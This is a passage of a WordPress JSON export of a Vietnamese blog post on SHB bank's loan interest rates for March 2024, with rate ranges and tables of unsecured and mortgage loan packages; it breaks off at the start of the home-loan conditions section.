{"id":40201,"date":"2024-03-19T09:47:43","date_gmt":"2024-03-19T02:47:43","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=40201"},"modified":"2025-10-22T04:10:17","modified_gmt":"2025-10-21T21:10:17","slug":"lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/","title":{"rendered":"L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB hi\u1ec7n nay( Th\u00e1ng 3\/2024)"},"content":{"rendered":"<p><strong>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng<\/strong> l\u00e0 m\u1ed9t trong nh\u1eefng y\u1ebfu t\u1ed1 quan tr\u1ecdng \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn quy\u1ebft \u0111\u1ecbnh vay v\u1ed1n c\u1ee7a ng\u01b0\u1eddi d\u00e2n v\u00e0 doanh nghi\u1ec7p. V\u00e0 ng\u00e2n h\u00e0ng SHB \u0111ang \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi quan t\u00e2m. T\u1ea1i sao <a href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay\/\"><strong>l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB<\/strong><\/a> l\u1ea1i \u0111\u01b0\u1ee3c m\u1ecdi ng\u01b0\u1eddi quan t\u00e2m nhi\u1ec1u \u0111\u1ebfn v\u1eady, h\u00e3y c\u00f9ng <a href=\"https:\/\/reti.vn\/\">Reti<\/a> t\u00ecm hi\u1ec3u v\u00e0 c\u1eadp nh\u1eadt v\u1edbi b\u00e0i vi\u1ebft d\u01b0\u1edbi nha!<\/p>\n<figure id=\"attachment_40227\" aria-describedby=\"caption-attachment-40227\" style=\"width: 2560px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"size-full wp-image-40227 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb.jpg\" alt=\"ng\u00e2n ha\u0300ng shb\" width=\"2560\" height=\"1707\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb.jpg 2560w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-1024x683.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-768x512.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-1536x1024.jpg 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-2048x1366.jpg 2048w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-150x100.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-696x464.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-1068x712.jpg 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/shb-1920x1280.jpg 1920w\" data-sizes=\"(max-width: 2560px) 100vw, 2560px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 2560px; --smush-placeholder-aspect-ratio: 2560\/1707;\" \/><\/a><figcaption id=\"caption-attachment-40227\" class=\"wp-caption-text\">ng\u00e2n ha\u0300ng SHB<\/figcaption><\/figure>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a0d4e44daf99\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a0d4e44daf99\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/#Thong_tin_ve_ngan_hang_SHB\" >Th\u00f4ng tin v\u1ec1 ng\u00e2n h\u00e0ng SHB<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/#Lai_suat_vay_ngan_hang_SHB_moi_nhat_hien_nay\" >L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB m\u1edbi nh\u1ea5t hi\u1ec7n nay<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/#Mot_so_loai_hinh_vay_cua_ngan_hang_SHB\" >M\u1ed9t s\u1ed1 lo\u1ea1i h\u00ecnh vay c\u1ee7a ng\u00e2n h\u00e0ng SHB<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/#1_Lai_suat_vay_tin_chap\" >1. L\u00e3i su\u1ea5t vay t\u00edn ch\u1ea5p<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/#2_Lai_suat_vay_the_chap\" >2. L\u00e3i su\u1ea5t vay th\u1ebf ch\u1ea5p<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/#Dieu_kien_vay_mua_nha_tra_gop_tai_Ngan_hang_SHB\" >\u0110i\u1ec1u ki\u1ec7n vay mua nh\u00e0 tr\u1ea3 g\u00f3p t\u1ea1i Ng\u00e2n h\u00e0ng SHB<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-shb-hien-nay-thang-3-2024\/#Quy_trinh_cho_vay_mua_nha_tra_gop_ngan_hang_SHB\" >Quy tr\u00ecnh cho vay mua nh\u00e0 tr\u1ea3 g\u00f3p ng\u00e2n h\u00e0ng SHB<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Thong_tin_ve_ngan_hang_SHB\"><\/span><strong>Th\u00f4ng tin v\u1ec1 ng\u00e2n h\u00e0ng SHB<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>Ng\u00e2n h\u00e0ng TMCP S\u00e0i G\u00f2n &#8211; H\u00e0 N\u1ed9i (SHB)<\/strong> l\u00e0 m\u1ed9t trong nh\u1eefng ng\u00e2n h\u00e0ng th\u01b0\u01a1ng m\u1ea1i l\u1edbn nh\u1ea5t Vi\u1ec7t Nam v\u1edbi t\u1ed5ng t\u00e0i s\u1ea3n h\u01a1n 500.000 t\u1ef7 \u0111\u1ed3ng. Ng\u00e2n h\u00e0ng \u0111\u01b0\u1ee3c th\u00e0nh l\u1eadp v\u00e0o n\u0103m 1993 v\u00e0 hi\u1ec7n c\u00f3 m\u1ea1ng l\u01b0\u1edbi h\u01a1n 200 chi nh\u00e1nh v\u00e0 ph\u00f2ng giao d\u1ecbch tr\u00ean to\u00e0n qu\u1ed1c.<\/p>\n<figure id=\"attachment_40218\" aria-describedby=\"caption-attachment-40218\" style=\"width: 2000px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"size-full wp-image-40218 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB.jpg\" alt=\"Giao-dich-SHB\" width=\"2000\" height=\"1331\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB.jpg 2000w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-1024x681.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-768x511.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-1536x1022.jpg 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-150x100.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-696x463.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-1068x711.jpg 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2024\/03\/Giao-dich-SHB-1920x1278.jpg 1920w\" data-sizes=\"(max-width: 2000px) 100vw, 2000px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 2000px; --smush-placeholder-aspect-ratio: 2000\/1331;\" \/><figcaption id=\"caption-attachment-40218\" class=\"wp-caption-text\">Giao d\u1ecbch t\u1ea1i ng\u00e2n h\u00e0ng SHB<\/figcaption><\/figure>\n<p><strong>SHB cung c\u1ea5p \u0111a d\u1ea1ng c\u00e1c s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 cho kh\u00e1ch h\u00e0ng c\u00e1 nh\u00e2n v\u00e0 doanh nghi\u1ec7p, bao g\u1ed3m:<\/strong><\/p>\n<ul>\n<li><strong>D\u1ecbch v\u1ee5 ti\u1ec1n g\u1eedi:<\/strong>\u00a0Ti\u1ebft ki\u1ec7m, ti\u1ec1n g\u1eedi thanh to\u00e1n, ch\u1ee9ng ch\u1ec9 ti\u1ec1n g\u1eedi&#8230;<\/li>\n<li><strong>D\u1ecbch v\u1ee5 vay v\u1ed1n:<\/strong>\u00a0Vay t\u00edn ch\u1ea5p, vay th\u1ebf ch\u1ea5p, vay kinh doanh&#8230;<\/li>\n<li><strong>D\u1ecbch v\u1ee5 thanh to\u00e1n:<\/strong>\u00a0Chuy\u1ec3n ti\u1ec1n, thanh to\u00e1n h\u00f3a \u0111\u01a1n, thanh to\u00e1n tr\u1ef1c tuy\u1ebfn&#8230;<\/li>\n<li><strong>D\u1ecbch v\u1ee5 th\u1ebb:<\/strong>\u00a0Th\u1ebb ghi n\u1ee3, th\u1ebb t\u00edn d\u1ee5ng&#8230;<\/li>\n<li><strong>D\u1ecbch v\u1ee5 ng\u00e2n h\u00e0ng \u0111i\u1ec7n t\u1eed:<\/strong>\u00a0Internet Banking, Mobile Banking&#8230;<\/li>\n<\/ul>\n<p><strong>SHB \u0111\u01b0\u1ee3c \u0111\u00e1nh gi\u00e1 cao b\u1edfi c\u00e1c t\u1ed5 ch\u1ee9c uy t\u00edn trong v\u00e0 ngo\u00e0i n\u01b0\u1edbc:<\/strong><\/p>\n<ul>\n<li><strong>Top 10 ng\u00e2n h\u00e0ng th\u01b0\u01a1ng m\u1ea1i uy t\u00edn nh\u1ea5t Vi\u1ec7t Nam 2023<\/strong>\u00a0(Vietnam Report)<\/li>\n<li><strong>Top 1000 ng\u00e2n h\u00e0ng l\u1edbn nh\u1ea5t th\u1ebf gi\u1edbi 2023<\/strong>\u00a0(The Banker)<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Lai_suat_vay_ngan_hang_SHB_moi_nhat_hien_nay\"><\/span><strong>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB m\u1edbi nh\u1ea5t hi\u1ec7n nay<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul style=\"list-style-type: square;\">\n<li>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng SHB hi\u1ec7n nay dao \u0111\u1ed9ng t\u1eeb <strong>5,79%<\/strong> \u0111\u1ebfn <strong>15%\/n\u0103m<\/strong>, t\u00f9y thu\u1ed9c v\u00e0o c\u00e1c y\u1ebfu t\u1ed1 sau:<\/li>\n<\/ul>\n<p><strong>Lo\u1ea1i h\u00ecnh vay:<\/strong><\/p>\n<ul>\n<li><strong>Vay t\u00edn ch\u1ea5p:<\/strong>\u00a0L\u00e3i su\u1ea5t cao h\u01a1n so v\u1edbi vay th\u1ebf ch\u1ea5p, th\u01b0\u1eddng t\u1eeb\u00a0<strong>10%<\/strong>\u00a0\u0111\u1ebfn\u00a0<strong>15%\/n\u0103m<\/strong>.<\/li>\n<li><strong>Vay th\u1ebf ch\u1ea5p:<\/strong>\u00a0L\u00e3i su\u1ea5t th\u1ea5p h\u01a1n so v\u1edbi vay t\u00edn ch\u1ea5p, th\u01b0\u1eddng t\u1eeb\u00a0<strong>7%<\/strong>\u00a0\u0111\u1ebfn\u00a0<strong>12%\/n\u0103m<\/strong>.<\/li>\n<\/ul>\n<p><strong>M\u1ee5c \u0111\u00edch vay:<\/strong><\/p>\n<ul>\n<li><strong>Vay ti\u00eau d\u00f9ng:<\/strong>\u00a0L\u00e3i su\u1ea5t cao h\u01a1n so v\u1edbi vay kinh doanh, th\u01b0\u1eddng t\u1eeb\u00a0<strong>8%<\/strong>\u00a0\u0111\u1ebfn\u00a0<strong>15%\/n\u0103m<\/strong>.<\/li>\n<li><strong>Vay kinh doanh:<\/strong>\u00a0L\u00e3i su\u1ea5t th\u1ea5p h\u01a1n so v\u1edbi vay ti\u00eau d\u00f9ng, th\u01b0\u1eddng t\u1eeb\u00a0<strong>7%<\/strong>\u00a0\u0111\u1ebfn\u00a0<strong>11%\/n\u0103m<\/strong>.<\/li>\n<\/ul>\n<p><strong>K\u1ef3 h\u1ea1n vay:<\/strong><\/p>\n<ul>\n<li><strong>Vay ng\u1eafn h\u1ea1n:<\/strong>\u00a0L\u00e3i su\u1ea5t cao h\u01a1n so v\u1edbi vay d\u00e0i h\u1ea1n, th\u01b0\u1eddng t\u1eeb\u00a0<strong>8%<\/strong>\u00a0\u0111\u1ebfn\u00a0<strong>13%\/n\u0103m<\/strong>.<\/li>\n<li><strong>Vay d\u00e0i h\u1ea1n:<\/strong>\u00a0L\u00e3i su\u1ea5t th\u1ea5p h\u01a1n so v\u1edbi vay ng\u1eafn h\u1ea1n, th\u01b0\u1eddng t\u1eeb\u00a0<strong>7%<\/strong>\u00a0\u0111\u1ebfn\u00a0<strong>11%\/n\u0103m<\/strong>.<\/li>\n<\/ul>\n<p><strong>L\u1ecbch s\u1eed t\u00edn d\u1ee5ng:<\/strong><\/p>\n<ul>\n<li><strong>Kh\u00e1ch h\u00e0ng c\u00f3 l\u1ecbch s\u1eed t\u00edn d\u1ee5ng t\u1ed1t:<\/strong>\u00a0L\u00e3i su\u1ea5t vay th\u1ea5p h\u01a1n so v\u1edbi kh\u00e1ch h\u00e0ng c\u00f3 l\u1ecbch s\u1eed t\u00edn d\u1ee5ng x\u1ea5u.<\/li>\n<\/ul>\n<p>M\u1edbi \u0111\u00e2y SHB Bank \u0111\u00e3 \u0111\u1ed3ng lo\u1ea1t gi\u1ea3m l\u00e3i su\u1ea5t c\u00e1c g\u00f3i vay \u01b0u \u0111\u00e3i xu\u1ed1ng ch\u1ec9 c\u00f2n t\u1eeb 5,79%\/n\u0103m. \u0110\u00e2y \u0111\u01b0\u1ee3c xem l\u00e0 m\u1ee9c l\u00e3i su\u1ea5t cho vay c\u1ea1nh tranh trong h\u1ec7 th\u1ed1ng ng\u00e2n h\u00e0ng t\u00ednh \u0111\u1ebfn th\u1eddi \u0111i\u1ec3m hi\u1ec7n nay.<\/p>\n<p>*\u0110\u1ed1i v\u1edbi kh\u00e1ch h\u00e0ng c\u00e1 nh\u00e2n: L\u00e3i su\u1ea5t vay \u0111\u01b0\u1ee3c \u0111i\u1ec1u ch\u1ec9nh gi\u1ea3m t\u1eeb 6,39%\/n\u0103m \u0111\u1ed1i v\u1edbi kho\u1ea3n vay ng\u1eafn h\u1ea1n v\u00e0 5,79%\/n\u0103m \u0111\u1ed1i v\u1edbi kho\u1ea3n vay trung d\u00e0i h\u1ea1n<\/p>\n<p>\u0110\u1ed3ng th\u1eddi, v\u1edbi g\u00f3i vay \u01b0u \u0111\u00e3i mua nh\u00e0, kh\u00e1ch h\u00e0ng s\u1ebd \u0111\u01b0\u1ee3c h\u01b0\u1edfng \u01b0u \u0111\u00e3i gi\u1ea3i ng\u00e2n t\u1edbi 90% gi\u00e1 tr\u1ecb b\u1ea5t \u0111\u1ed9ng s\u1ea3n mua, th\u1eddi gian vay l\u00ean t\u1edbi 25 n\u0103m, th\u1eddi gian \u01b0u \u0111\u00e3i l\u00e3i su\u1ea5t v\u00e0 \u00e2n h\u1ea1n g\u1ed1c k\u00e9o d\u00e0i t\u1edbi 24 th\u00e1ng.<\/p>\n<p>*\u0110\u1ed1i v\u1edbi kh\u00e1ch h\u00e0ng doanh nghi\u1ec7p, SHB tri\u1ec3n khai ch\u01b0\u01a1ng tr\u00ecnh t\u00edn d\u1ee5ng v\u1edbi quy m\u00f4 10.000 t\u1ef7 \u0111\u1ed3ng cho kh\u00e1ch h\u00e0ng s\u1ea3n xu\u1ea5t kinh doanh v\u1edbi l\u00e3i su\u1ea5t gi\u1ea3m ch\u1ec9 t\u1eeb 5,8%\/n\u0103m v\u00e0 g\u00f3i t\u00edn d\u1ee5ng 1.000 t\u1ef7 \u0111\u1ed3ng d\u00e0nh cho doanh nghi\u1ec7p c\u00f3 nhu c\u1ea7u vay mua \u00f4 t\u00f4 v\u1edbi l\u00e3i su\u1ea5t \u01b0u \u0111\u00e3i c\u0169ng ch\u1ec9 t\u1eeb 6,5%\/n\u0103m.<\/p>\n<p>Nh\u1eefng m\u1ee9c l\u00e3i su\u1ea5t\u00a0 n\u00e0y \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng v\u1edbi c\u00e1c kho\u1ea3n vay m\u1edbi c\u1ee7a kh\u00e1ch h\u00e0ng c\u00e1 nh\u00e2n, doanh nghi\u1ec7p v\u00e0o n\u0103m 2024 c\u0169ng nh\u01b0 n\u1ed1i d\u00e0i \u0111\u1ebfn h\u1ebft ng\u00e0y 31\/12\/2024.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Mot_so_loai_hinh_vay_cua_ngan_hang_SHB\"><\/span><strong>M\u1ed9t s\u1ed1 lo\u1ea1i h\u00ecnh vay c\u1ee7a ng\u00e2n h\u00e0ng SHB<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-sourcepos=\"3:1-3:101\">Ng\u00e2n h\u00e0ng SHB cung c\u1ea5p \u0111a d\u1ea1ng c\u00e1c lo\u1ea1i h\u00ecnh vay v\u1ed1n cho kh\u00e1ch h\u00e0ng c\u00e1 nh\u00e2n v\u00e0 doanh nghi\u1ec7p, bao g\u1ed3m:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"1_Lai_suat_vay_tin_chap\"><\/span><strong>1. L\u00e3i su\u1ea5t vay t\u00edn ch\u1ea5p<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-sourcepos=\"3:1-3:238\">Vay t\u00edn ch\u1ea5p l\u00e0 h\u00ecnh th\u1ee9c vay v\u1ed1n c\u1ee7a ng\u00e2n h\u00e0ng ho\u1eb7c t\u1ed5 ch\u1ee9c t\u00e0i ch\u00ednh m\u00e0 kh\u00f4ng y\u00eau c\u1ea7u t\u00e0i s\u1ea3n \u0111\u1ea3m b\u1ea3o. Thay v\u00e0o \u0111\u00f3, kho\u1ea3n vay \u0111\u01b0\u1ee3c d\u1ef1a tr\u00ean uy t\u00edn, kh\u1ea3 n\u0103ng tr\u1ea3 n\u1ee3 c\u1ee7a ng\u01b0\u1eddi vay, \u0111\u01b0\u1ee3c \u0111\u00e1nh gi\u00e1 th\u00f4ng qua l\u1ecbch s\u1eed t\u00edn d\u1ee5ng v\u00e0 thu nh\u1eadp.<\/p>\n<p data-sourcepos=\"3:1-3:238\">C\u00e1c b\u1ea1n c\u00f3 th\u1ec3 tham kh\u1ea3o b\u1ea3ng l\u00e3i su\u1ea5t vay t\u00edn ch\u1ea5p ng\u00e2n h\u00e0ng SHB d\u01b0\u1edbi \u0111\u00e2y:<\/p>\n<table style=\"border-collapse: collapse; width: 100%;\">\n<tbody>\n<tr>\n<td style=\"width: 35.0575%; text-align: center;\">G\u00f3i vay t\u00edn ch\u1ea5p<\/td>\n<td style=\"width: 21.839%; text-align: center;\">L\u00e3i su\u1ea5t(%\/n\u0103m)<\/td>\n<td style=\"width: 18.6783%; text-align: center;\">M\u1ee9c vay t\u1ed1i \u0111a<\/td>\n<td style=\"width: 24.4252%; text-align: center;\">Thu th\u1eadp t\u1ed1i thi\u1ec3u<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.0575%; text-align: center;\">Vay t\u00edn ch\u1ea5p CBCNV<\/td>\n<td style=\"width: 21.839%; text-align: center;\">8,80%<\/td>\n<td style=\"width: 18.6783%; text-align: center;\">30 tri\u1ec7u<\/td>\n<td style=\"width: 24.4252%; text-align: center;\">3 tri\u1ec7u<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.0575%; text-align: center;\">Vay t\u00edn ch\u1ea5p c\u00e1n b\u1ed9 qu\u1ea3n l\u00fd<\/td>\n<td style=\"width: 21.839%; text-align: center;\">8,80%<\/td>\n<td style=\"width: 18.6783%; text-align: center;\">200 tri\u1ec7u<\/td>\n<td style=\"width: 24.4252%; text-align: center;\">5 tri\u1ec7u<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.0575%; text-align: center;\">Th\u1ea5u chi t\u00e0i kho\u1ea3n ch\u1ee7 doanh nghi\u1ec7p v\u00e0 c\u00e1n b\u1ed9 \u0111i\u1ec1u h\u00e0nh<\/td>\n<td style=\"width: 21.839%; text-align: center;\">8,8%<\/td>\n<td style=\"width: 18.6783%; text-align: center;\">200 tri\u1ec7u<\/td>\n<td style=\"width: 24.4252%; text-align: center;\">3 tri\u1ec7u<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.0575%; text-align: center;\">T\u00edn ch\u1ea5p ti\u00eau d\u00f9ng<\/td>\n<td style=\"width: 21.839%; text-align: center;\">15%<\/td>\n<td style=\"width: 18.6783%; text-align: center;\">400 tri\u1ec7u<\/td>\n<td style=\"width: 24.4252%; text-align: center;\">5 tri\u1ec7u<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 35.0575%; text-align: center;\">Th\u1ea5u chi kh\u00f4ng c\u00f3 t\u00e0i s\u1ea3n \u0111\u1ea3m b\u1ea3o<\/td>\n<td style=\"width: 21.839%; text-align: center;\">15%<\/td>\n<td style=\"width: 18.6783%; text-align: center;\">200 tri\u1ec7u<\/td>\n<td style=\"width: 24.4252%; text-align: center;\">5 tri\u1ec7u<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"2_Lai_suat_vay_the_chap\"><\/span><strong>2. L\u00e3i su\u1ea5t vay th\u1ebf ch\u1ea5p<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-sourcepos=\"3:1-3:147\">Vay th\u1ebf ch\u1ea5p l\u00e0 h\u00ecnh th\u1ee9c vay v\u1ed1n c\u1ee7a ng\u00e2n h\u00e0ng ho\u1eb7c t\u1ed5 ch\u1ee9c t\u00e0i ch\u00ednh m\u00e0 ng\u01b0\u1eddi vay c\u1ea7n ph\u1ea3i th\u1ebf ch\u1ea5p t\u00e0i s\u1ea3n c\u00f3 gi\u00e1 tr\u1ecb \u0111\u1ec3 \u0111\u1ea3m b\u1ea3o cho kho\u1ea3n vay.<\/p>\n<p data-sourcepos=\"3:1-3:147\">C\u00e1c b\u1ea1n c\u00f3 th\u1ec3 tham kh\u1ea3o b\u1ea3ng l\u00e3i su\u1ea5t vay th\u1ebf ch\u1ea5p ng\u00e2n h\u00e0ng SHB d\u01b0\u1edbi \u0111\u00e2y:<\/p>\n<table style=\"border-collapse: collapse; width: 72.5575%; height: 208px;\">\n<tbody>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">G\u00f3i vay th\u1ebf ch\u1ea5p<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">L\u00e3i su\u1ea5t (%\/n\u0103m)<\/td>\n<\/tr>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">Vay mua nh\u00e0 th\u1eddi h\u1ea1n 25 n\u0103m<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">7,5<\/td>\n<\/tr>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">Vay du h\u1ecdc<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">8,5<\/td>\n<\/tr>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">Vay x\u00e2y &#8211; s\u1eeda nh\u00e0<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">8,5<\/td>\n<\/tr>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">Vay th\u1ea5u chi c\u00f3 \u0111\u1ea3m b\u1ea3o<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">8,5<\/td>\n<\/tr>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">Vay \u0111\u1ea7u t\u01b0 t\u00e0i s\u1ea3n c\u1ed1 \u0111\u1ecbnh<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">8,5<\/td>\n<\/tr>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">Vay canh t\u00e1c c\u00e2y c\u00e0 ph\u00ea t\u1ea1i T\u00e2y Nguy\u00ean<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">8,5<\/td>\n<\/tr>\n<tr style=\"height: 26px;\">\n<td style=\"width: 46.2376%; height: 26px; text-align: center;\">Vay mua \u00f4 t\u00f4 doanh nh\u00e2n<\/td>\n<td style=\"width: 24.3333%; height: 26px; text-align: center;\">6,99<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>B\u1ea3ng l\u00e3i su\u1ea5t tr\u00ean ch\u1ec9 mang t\u00ednh tham kh\u1ea3o v\u00e0 c\u00f3 th\u1ec3 thay \u0111\u1ed5i theo t\u1eebng th\u1eddi k\u1ef3, m\u1ee9c l\u00e3i su\u1ea5t cho vay ch\u00ednh x\u00e1c s\u1ebd ph\u1ee5 thu\u1ed9c v\u00e0o nhi\u1ec1u y\u1ebfu t\u1ed1 v\u00e0 t\u1eebng th\u1eddi \u0111i\u1ec3m n\u00ean kh\u00e1ch h\u00e0ng c\u1ea7n li\u00ean h\u1ec7 tr\u1ef1c ti\u1ebfp v\u1edbi ng\u00e2n h\u00e0ng \u0111\u1ec3 \u0111\u01b0\u1ee3c t\u01b0 v\u1ea5n.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Dieu_kien_vay_mua_nha_tra_gop_tai_Ngan_hang_SHB\"><\/span><strong>\u0110i\u1ec1u ki\u1ec7n vay mua nh\u00e0 tr\u1ea3 g\u00f3p t\u1ea1i Ng\u00e2n h\u00e0ng SHB<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p 